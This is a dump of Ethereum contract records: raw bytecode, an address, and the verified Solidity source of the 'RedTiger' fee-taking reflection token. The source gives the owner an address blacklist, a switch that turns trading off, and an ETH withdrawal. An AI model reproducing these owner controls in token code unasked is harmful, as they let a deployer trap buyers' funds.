08b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a7230582061d97df6cd7fe87779d9fa28992d2fb80b4429a67017241e906d53439973c7c90029
{"success": true, "error": null, "results": {}}
6,783
0x09ddb7b304fbf304ed3a30556a8bf7fa37971763
/** *Submitted for verification at Etherscan.io on 2022-01-05 */ /* Website: https://tigertoken.red/ Telegram: https://t.me/RedTigerToken Twitter: https://twitter.com/RedTigerToken Github: https://github.com/RedTigerToken MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWWWNNNNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNXK0OOOOO0OOOOOOO0XWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKkdxxdolc:::coxkkOkxdodxkKNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNX0Okdoddxxxxdooc:::cldxkkxdoldO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKxllddlc:;,;cloddxxxddoc::oxkkxdcldxk0NWMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxoc:clccc:;'..',,;coxxxxdc:cdxxxdlcooox0XWMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMWX000XWMMMMWXOxdoodollok0Oo;.,::,'.,codxxxdlloddooooolcoxONMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMWKxxO0kll0NWX0xooooddxo:coONXl.,xOdoc::;;coxxxdddxdlcoddlclokXWMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMWOlxKkolccdxxxxdooooxkkxl;''::,;d0koodddl;.,cdxxddddd:,cddl:lokXWMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMWd;cc:ccloodxxolcc:::coxkxl::coO0o;;:ldddl;.'cdddolddo;':ddl:cdkKWMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMW0l:loooolc::lllllodoloxxkkO0KNNOl::::coddo:',cdddc:odo;,ldd:,ldkXWMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMNOxdlc:;;;;,''''',:oxxxxkO0XWWWNKkdolccodddc;,codl,;ldl:cddl',oxONMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMWXkoc:ccll;cddddddl:;lxxxkOXNWMMMMNX0xoooddddoc,:od:.;oolcool,'ldxKWMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMWXOdldOKX0l';kXNNNNXOdodxod0NWMMMMMMMWXxooodddddc;col,'collool,,lookNMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMN0dox0X0xxl:odlkXKXNKOxxo::dOXWMMMMMMMWKxoooooddol:cl:,coooooc';loldKMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMNOoldkxkd:dxoxl;O0ox0xlodo:,''lKMMMMMMMMNOooooooooolll:;clllll;.;llco0MMMMMMMMMMMMMMMMM MMMMMMMMMMMMWO:;cccldxlddclldkkkOkl',lo:'.;xNMMMMMMMMW0olooooooolllc:lccllc'.:c:cdKWMWNNWMMMMMMMMMMM MMMMMMMMMMMMWk;';;;oxdddoccoddxkOkl;:l:'..,kWMMMMMMMMWKocllllllllllc:lc:cc;';c;;cdXNOl::dXMMMMMMMMMM MMMMMMMMMMMMNk,.,;;:oxddl::codxxdolc:;'..,l0WWWWMMWWWNOl:cclllllllccllc:c:,,c:,;:oOd'...'kMMMMMMMMMM MMMMMMMMMMMMNOo;',:clolc::ccclooodxkkxxxOKNNWWWWWWWNNKd::ccclllllcclddc::;;::;;:oO0o'...:0MMMMMMMMMM MMMMMMMMMMMMWK0OkkxdlccodooddlcloxOXWWWNNNNNNNNNNXXXKkc::cccccccccldxo::::::;;:okkOo'.,oKWMMMMMMMMMM MMMMMMMMMMMMMN0O00Oxlclx00kOOkxxk0KXXNXXXXXXXXXKKKK0kc::::ccccccccodl:;;;;;;:cxXNNXKO0NWMMMMMMMMMMMM MMMMMMMMMMMMMMN0kkxxddxkOOddkkOO000000000000000OOxdoc:::::ccccccclc:;,,;;;;;;dXMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMWX0kdooodddxxkxkkkkkkkkkkkkkOOkdl;'',;;:::;;;;;::;,',,;;;;,,,oXMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMNK0kxdooodddxxxxxxdddddddoc:'..',,;,''.'',;:;'.',,;;::;;:dXMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMWNXKK0000xc:::::;;;,,..',,,,,,,'',,;::;,'',,;;:::::ckXWMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd,'''''''.....'',,,,,;;::::;;;::::c::::cd0WMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd;,,,,,,,'..'',,;;;;;::ccc::loooxxdoox0NMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOc::cclooc,;::cllllloddddl;,:cloddx0NWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxooooolc;';cldkOOkkOOkdl:;;::cllloKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKx:;;;;;,,,;:lddoool:;:llccclloooOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo;:::::;;,;::ccccc::cllllclloooodk0NMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKl:cccc::;;:ccclllccclloolclollooc:cdKWMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxcclccc:;;;:clllllccccllolllollccc:::xNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0l:cccccc;;:cllllllllcccllcclllccc::::xNMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0o;:cccccc;;ccllooooolcccllccccc:::::::cxXWMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo,'',;:::::;;ccllloooolc:clc:;::;;;::::;'.:OWMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWx,'.',,;;;;;;;:clllllllc:;:cc:;;;;:::c::;'..oNMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXo'.';;;;;;:::;;;:c:::::::;;::;;;;:cccc::;',lONMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO;,ccc::::cccc:clcc::::cc::::;:ccclccloxk0XWMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0kkxdocclllllclollllc:::;::::coxkOOKXWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNK0Okxdollllllllc::ccldkO0XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 1% Rewards 9% Marketing and Development */ //SPDX-License-Identifier: Unlicensed pragma solidity 0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RedTiger is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _forceFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; address private constant UNI_ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private constant DEAD_ADDRESS = 0x000000000000000000000000000000000000dEaD; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "RedTiger"; string private constant _symbol = unicode"RedTiger"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor( address payable FeeAddress, address payable marketingWalletAddress ) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); _forceFee[UNI_ROUTER_ADDRESS] = true; _forceFee[DEAD_ADDRESS] = true; uniswapV2Router = IUniswapV2Router02(UNI_ROUTER_ADDRESS); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 4; _teamFee = 6; bool isBuyOrSell = false; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); // check if buy if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); // user is buying isBuyOrSell = true; } // check if sell if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _taxFee = 4; _teamFee = 6; // user is selling isBuyOrSell = true; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0 ) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = _forceFee[to] || isBuyOrSell; if (isBuyOrSell) { require(tradingOpen, "trading is not open"); } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function prepareTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; setMaxTxPercent(10); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function openTrading() external onlyOwner() { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setTradingOpen(bool tradingOpen_) public onlyOwner() { tradingOpen = tradingOpen_; } function withdraw() external onlyOwner { address payable recipient = payable(owner()); recipient.transfer(address(this).balance); } }
0x6080604052600436106101395760003560e01c806370a08231116100ab578063b515566a1161006f578063b515566a146103fb578063c3c8cd8014610424578063c9567bf91461043b578063cb2f17b114610452578063d543dbeb14610469578063dd62ed3e1461049257610140565b806370a0823114610314578063715018a6146103515780638da5cb5b1461036857806395d89b4114610393578063a9059cbb146103be57610140565b8063273123b7116100fd578063273123b71461023e578063313ce567146102675780633ccfd60b1461029257806349bd5a5e146102a95780635932ead1146102d45780636fc3eaec146102fd57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806321c03a97146101d857806323b872dd1461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104cf565b6040516101679190612e1e565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061294e565b61050c565b6040516101a49190612e03565b60405180910390f35b3480156101b957600080fd5b506101c261052a565b6040516101cf9190612fc0565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906129d7565b61053b565b005b34801561020d57600080fd5b50610228600480360381019061022391906128fb565b6105ed565b6040516102359190612e03565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612861565b6106c6565b005b34801561027357600080fd5b5061027c6107b6565b6040516102899190613035565b60405180910390f35b34801561029e57600080fd5b506102a76107bf565b005b3480156102b557600080fd5b506102be6108aa565b6040516102cb9190612d5e565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906129d7565b6108d0565b005b34801561030957600080fd5